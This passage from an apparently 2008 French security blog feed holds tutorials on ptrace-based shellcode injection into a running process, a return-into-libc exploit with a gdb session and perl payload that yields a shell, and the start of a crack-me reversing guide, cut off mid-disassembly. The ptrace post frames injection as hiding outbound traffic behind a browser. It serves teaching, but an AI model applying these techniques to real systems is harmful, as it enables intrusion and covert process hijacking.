;-) ) , dans ce cas comment vas-t-on s'y prendre ..?&lt;br /&gt;&lt;br /&gt;Sachant qu'au minimum le navigateur doit posséder un accés sortant , nous allons donc injecter notre shellcode dans la mémoire utilisée par ce processus puis faire en sorte qu'il poursuive son activité , comme si de rien n'était .&lt;br /&gt;De cette façon nous pouvons utiliser les droits du navigateur et,donc avoir un accés sortant sans etre inquiété !&lt;br /&gt;&lt;br /&gt;Pour cela il sera donc nécessaire de ne pas tuer le processus en fesant donc en sorte qu'une fois le pointeur EIP pointe sur le shellcode , l'exécute puis se replace (POP / RET) de façon a reprendre l'exécution du processus cible.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Etapes a suivre :&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;1- S'attacher au processus ciblé (&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;PTRACE_ATTACH&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;2-Attendre qu'il stoppe (&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;WAITPID&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;3-Récupération des registres utilisés par ce process(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;PTRACE_GETREGS&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;4-Copie du Shellcode dans la stack (&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;PTRACE_POKEDATA&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;5-Redirection du pointeur vers le début de nore Shellcode (&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;PTRACE_SETREGS&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;6-Se détacher (&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;PTRACE_DETACH&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;    Néanmoins,, il se peut que le processus ait été  interrompu par le ptrace (&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;PTRACE_ATTACH&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;) alors qu’il exécuté un appel système.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Dans ce cas, le noyau décide de remettre l’ex écution a l’endroit ou elle a été interrompue, c’est-a-dire l’appel système. Sous Linux pour x86, un appel système est déclenché́ par l’instruction&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;int&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;0x80&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;, codée sur 2 octets.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui enlevant 2 octets. Or, nous ne souhaitons pas que l’exé́cution reprenne la ou ne se trouve pas notre shellcode!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Pour compenser cela, on ajoutera&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 2 Nops (\x90)&lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;au début du shellcode (et on oublira pas de modifier la valeur dans la boucle au passage sinon elle n'enverra pas tout le shellcode ).  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voila, on peu désormais passer a la pratique .Dans un premier temps je détaillerais donc  les différentes étapes , puis je  vous donnerais le code "&lt;span style="color: rgb(255, 0, 0);"&gt;Shell_inj&lt;/span&gt;"  (Shellcode injector quoi -_- ) .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;(Ce code est déja suffisemment commenté pour vous permettre de le comprendre facilement)&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                -- Nous allons , dans l'exemple suivant , injecter un dangereux  shellcode (Hello , world! :-) ) dans un processus cible (ici bash sera la cible) -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;On commence par récupérer son PID:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost Bureau]$ ps aux&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ce qui donnera un listing assez long (top pour etre mis ici en entier en tout cas ) .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Nous , on s'intéressera donc a ça :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;kmkz      7178  0.3  0.1   4324  1920 pts/0    Ss+  10:58   0:00 bash&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bon , on a le PID reste plus qu'a s'amuser now ! \o/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pas la dessus ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Lançons le programme Shell_inj en lui passant en argument notre PID et voyons ce qui se passe :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost Bureau]$ ./inj 7178&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Attente d'attachement au processus 7178 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Attachement au processus : réussi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Lecture des registres:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;        -eip: 0xffffe410&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;        -esp: 0xbfe478d8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Shellcode copié en esp:0xbfe468d8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Redirection  d'eip vers le shellcode :0xbfe468da&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Détachement du processus 7178&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Injection Terminée ! &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Hello,World !&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bingo, notre "hello world" est bien la , en chair et en os (enfin si on veux quoi ^_^).&lt;br /&gt;C'est a vous de jouer maintenant : vous savez détourner un processus en y injectant un shellcode pour  en faire ce que vous voulez alors ....&lt;br /&gt;___&lt;br /&gt;*Here's the Shell_inj source code:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/ptrace/inj.txt"&gt;Shell_inj.c&lt;/a&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Have Fun !&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Remerciements a l'équipe de "blacks clowns" pour son article  sans lequel j'aurai mis des mois avant de percuter comment m'y prendre ^^ ainsi qu'a l'équipe de dg-sc pour phrack et ses tutos de 1er choix !&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-4825322031287797225?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QbCZEIfj6mfaTmh8pCwzLonZ7Z8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QbCZEIfj6mfaTmh8pCwzLonZ7Z8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QbCZEIfj6mfaTmh8pCwzLonZ7Z8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QbCZEIfj6mfaTmh8pCwzLonZ7Z8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/0RRk1Rg74lw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/4825322031287797225/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=4825322031287797225" title="3 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/4825322031287797225?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/4825322031287797225?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/0RRk1Rg74lw/principes-et-mise-en-oeuvre-dun.html" title="Principes et mise en oeuvre d'un injection de code dans un processus en cours via le syscall PTRACE()" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/07/principes-et-mise-en-oeuvre-dun.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkEDR3w9fSp7ImA9WxdaGU4.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-2325453393398125062</id><published>2008-07-11T15:16:00.000+02:00</published><updated>2008-08-28T17:51:16.265+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-28T17:51:16.265+02:00</app:edited><title>Return Into Libc</title><content type="html">Salut a tous !&lt;br /&gt;Bon , je sais j'ai un peu mis ce blog de coté ces derniers temps , mais c'est fini , rassurez-vous ;) .&lt;br /&gt;Pour fêter ça , je vous propose un article traitant des fameux "Returns-into-libc ".&lt;br /&gt;&lt;br /&gt;Bref , stoppons les baratins inutiles et place a l'article \o/.&lt;br /&gt;&lt;br /&gt;-----Voici les codes dont nous auront besoins :&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/ret_into_libc/vuln.txt"&gt;vuln.c&lt;/a&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/ret_into_libc/var.txt"&gt;var-env.c&lt;/a&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;Je précise toutefois que cet article s'adresse aux personnes sachant au minimum&lt;br /&gt;exploiter un classique stack overflow (Voir article prévu a cet effet sur ce blog)&lt;br /&gt;et ,donc, connaissant le fonctionnement de la pile.&lt;br /&gt;&lt;br /&gt;La méthode du "return-into-libc" consiste, non pas à exécuter un&lt;br /&gt;shellcode, mais à détourner le programme en lui faisant exécuter du code qui&lt;br /&gt;est bien souvent dans une librairie telle que la libc.&lt;br /&gt;&lt;br /&gt;Les librairies sont chargées à des adresses prédictibles sur&lt;br /&gt;les noyaux standards, on les retrouve donc  facilement .&lt;br /&gt;&lt;br /&gt;Rappelons-nous que la libc, contient toutes les fonctions utiles à&lt;br /&gt;l'exécution d'un shell.&lt;br /&gt;&lt;br /&gt;Il faut impérativement bien visualiser le schéma suivant  :&lt;br /&gt;&lt;br /&gt;1) Vous venez d'écraser &lt;span style="color: rgb(255, 0, 0);"&gt;EIP&lt;/span&gt; avec l'adresse de la fonction&lt;span style="color: rgb(255, 0, 0);"&gt; system()&lt;/span&gt; située dans l'espace mémoire du&lt;br /&gt;processus vulnérable.&lt;br /&gt;&lt;br /&gt;2) Le programme saute sur &lt;span style="color: rgb(255, 0, 0);"&gt;system()&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;3) La fonction &lt;span style="color: rgb(255, 0, 0);"&gt;system()&lt;/span&gt; va faire son prologue, sans erreurs. Par contre &lt;span style="color: rgb(255, 0, 0);"&gt;system()&lt;/span&gt; va vouloir aller chercher&lt;br /&gt;le paramètre que vous lui avez passé, et forcément , s'attend pour cela à ce qu'il y ait&lt;br /&gt;un argument sur la pile.&lt;br /&gt;&lt;br /&gt;4) Cet argument sur la pile, c'est l'adresse de votre chaîne de caractère "&lt;span style="color: rgb(255, 0, 0);"&gt;/bin/sh&lt;/span&gt;".&lt;br /&gt;Mais pour cela vous devrez le "déposer" sur la pile pour que system() le récupère.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;System()&lt;/span&gt; va donc récupérer cette chaine juste après EIP .&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Cet test a été réalisé sur une  GNU/Linux   Free 2008  (version 2.6.22.9 du noyau Linux) tournant sur une machine ayant pour Processeur un Intel Pentium IIII.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;Aucunes fonctionalités n'a été modifiés au préalable , nous sommes ici en présence d'une config systeme  par défaut ; cela dit , il faut bien avoir a l'esprit que les adresses et PID changeront , ceci est tout a fait normal d'une machine a l'autre (cet article n'est ici que dans le but de vous aidez a comprendre et , le cas échéant , a reproduire ces étapes chez vous en prenant notes des indications données dans ce paragraphe ( ThX Decerebrain ;-) ).&lt;/span&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------Testons ça concrètement ------&lt;br /&gt;&lt;br /&gt;En premier lieu , compilons notre programme vulnérable:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gcc -o vuln vuln.c&lt;/span&gt;     // Rappel&lt;br /&gt;&lt;br /&gt;Dans un premier shell , lançons ce programme:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost Bureau]$ ./vuln&lt;/span&gt; [Argument]&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;pid = 8219         &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- Dans un autre shell ,nous allons exporter "&lt;span style="color: rgb(255, 0, 0);"&gt;/bin/sh&lt;/span&gt;" (pour le placer dans le meme environnement).&lt;br /&gt;Ensuite , nous devons récupéré l'adresse en mémoire de la nouvelle variable d'environnement .&lt;br /&gt;Noue le feront grace a notre petit programme écrit en C  ( code "var-env.c")  :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[root@localhost Bureau]# export kmkz=/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[root@localhost Bureau]# ./var-env kmkz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;**/bin/bash  se situe a l'adresse b 0xbffec808 **&lt;/span&gt;   // et voila le travail ;-) .&lt;br /&gt;&lt;br /&gt;Maintenant , il ne reste qu'a exploiter on lance gdb et notre "vuln.c" :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost Bureau]$ gdb ./vuln 8219&lt;/span&gt;       // 8219 étant le PID&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Copyright (C) 2006 Free Software Foundation, Inc.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Type "show copying" to see the conditions.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;This GDB was configured as "i586-linux-gnu"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Using host libthread_db library "/lib/i686/libthread_db.so.1".&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Attaching to program: /home/kmkz/Bureau/vuln, process 8219&lt;/span&gt;      // Notre PID ici aussi \o/&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Reading symbols from /lib/i686/libc.so.6...done.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Loaded symbols for /lib/i686/libc.so.6&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Reading symbols from /lib/ld-linux.so.2...done.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Loaded symbols for /lib/ld-linux.so.2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080484c8 in main ()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- Récupérons l'adresse de system() :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) x/x system&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x400608a0 &lt;/span&gt;&lt;system&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;:    0x83e58955&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Et celle de exit() qui servira a quitté le programme "proprement":&lt;br /&gt;(&lt;span style="color: rgb(255, 0, 0);"&gt;gdb) x/x exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x4004d0a0 &lt;/span&gt;&lt;exit&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;:      0x57e58955&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Waou ,c'est kewl !  :-)&lt;br /&gt;&lt;br /&gt;Allez il ne nous reste plus qu'a convertir ça en Little Endian (voir selon les processeurs) et a construire notre Argument pour&lt;br /&gt;l'obtention de notre Shell ce qui donne dans cet exemple :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"\xa0\x08\x06\x40" = system() &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"\xa0\xd0\x04\x40" = exit()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"\x08\xc8\xfe\xbf" = notre shell&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;=&gt; 1032 octets à écrire pour écraser entièrement EIP (1024 (buffer) + 4 + 4)&lt;br /&gt;// Voir article sur les Stack Overflow&lt;br /&gt;Nous devons donc passer l'argument de cette façon sur la ligne de commande :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;[1028 octets] ["system()"]  ["exit()] ["/bin/sh"]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si tout se passe bien (et c'est le but ;) ), on doit obtenir ceci :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) r `perl -e 'print "x" x 1028 . "\xa0\x08\x06\x40"."\xa0\xd0\x04\x40"."\x08\xc8\xfe\xbf"'`&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Starting program: /home/kmkz/Bureau/vuln `perl -e 'print "x" x 1028."\xa0\x08\x06\x40"."\xa0\xd0\x04\x40". "\x08\xc8\xfe\xbf"'`&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sh-3.00$&lt;/span&gt;   &lt;---- Notre Shell ^_^   -Remerciement a Marnage &amp;amp; 0vercl0k pour leur lumieres ;-) .     &lt;/exit&gt;&lt;/system&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-2325453393398125062?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/BuDl_ea3u23r8BIvw3Y1qF982MU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BuDl_ea3u23r8BIvw3Y1qF982MU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/BuDl_ea3u23r8BIvw3Y1qF982MU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BuDl_ea3u23r8BIvw3Y1qF982MU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/3bGvpp2ygzc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/2325453393398125062/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=2325453393398125062" title="3 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2325453393398125062?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2325453393398125062?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/3bGvpp2ygzc/return-into-libc.html" title="Return Into Libc" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/07/return-into-libc.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMCR3o-fyp7ImA9WxdWFk8.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-7073212100277031285</id><published>2008-04-26T11:37:00.000+02:00</published><updated>2008-07-09T20:17:46.457+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-07-09T20:17:46.457+02:00</app:edited><title>Initiation aux bases du Reversing</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Salut a tous !&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ce nouvel article traitera d'un sujet trés intéréssant : les bases en matiere de Reversing.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Nous verrons ici seulement le strict minimum , ce qui permettra tout de meme d'acquérir quelque notions en la matiere ,et qui pourrait ( on sais jamais ) susciter des vocations..?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Pour les besoins de cet article nous utiliseront un codes et un programmes de déboggage incontournable : GDB ( sous Linux) puis un crack-me appellé "cm"codé en C  trouvé sur&lt;/span&gt; &lt;a href="http://www.ghostsinthestack.org/"&gt;un célèbre site  .&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Le principe ne changeant pas , je n'ai pas trouvé d'intéret a en coder d'autre ( ba ouai quoi) .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Trève de bavardages place a l'article now :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/kmkz/crack-me1.c.txt"&gt;Le Crack-me&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;1)Ici nous cherchons donc le password , bien , pour cela nous devons d'abord désassembler le "main" ( fonction pricipale du programme) afin d'y placer un "break point" ( point d'arret destiné a stopper le programme a l'endroit que l'on veut examiner , soit l'endroit ou le programme teste  l'entrée utilisateur ou a la fin de celle ci selon la façon choisie) .&lt;br /&gt;Commençons par lancer GDB avec "cm" puis désassemblons le "main" avec l'instruction " disas main" de Gdb.&lt;br /&gt;Vous devriez avoir quelque chose comme ça :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[user@localhost asm]$ gdb cm&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Copyright (C) 2006 Free Software Foundation, Inc.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Type "show copying" to see the conditions.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;This GDB was configured as "i586-mandriva-linux-gnu"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Using host libthread_db library "/lib/i686/libthread_db.so.1".&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) disas main&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Dump of assembler code for function main:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483a4 &lt;main+0&gt;:    lea    0x4(%esp),%ecx&lt;/main+0&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483a8 &lt;main+4&gt;:    and    $0xfffffff0,%esp&lt;/main+4&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483ab &lt;main+7&gt;:    pushl  0xfffffffc(%ecx)&lt;/main+7&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483ae &lt;main+10&gt;:   push   %ebp&lt;/main+10&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483af &lt;main+11&gt;:   mov    %esp,%ebp&lt;/main+11&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483b1 &lt;main+13&gt;:   push   %ecx&lt;/main+13&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483b2 &lt;main+14&gt;:   sub    $0x24,%esp&lt;/main+14&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483b5 &lt;main+17&gt;:   mov    %ecx,0xffffffe8(%ebp)&lt;/main+17&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483b8 &lt;main+20&gt;:   mov    0xffffffe8(%ebp),%eax&lt;/main+20&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483bb &lt;main+23&gt;:   cmpl   $0x2,(%eax)&lt;/main+23&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483be &lt;main+26&gt;:   jne    0x8048426 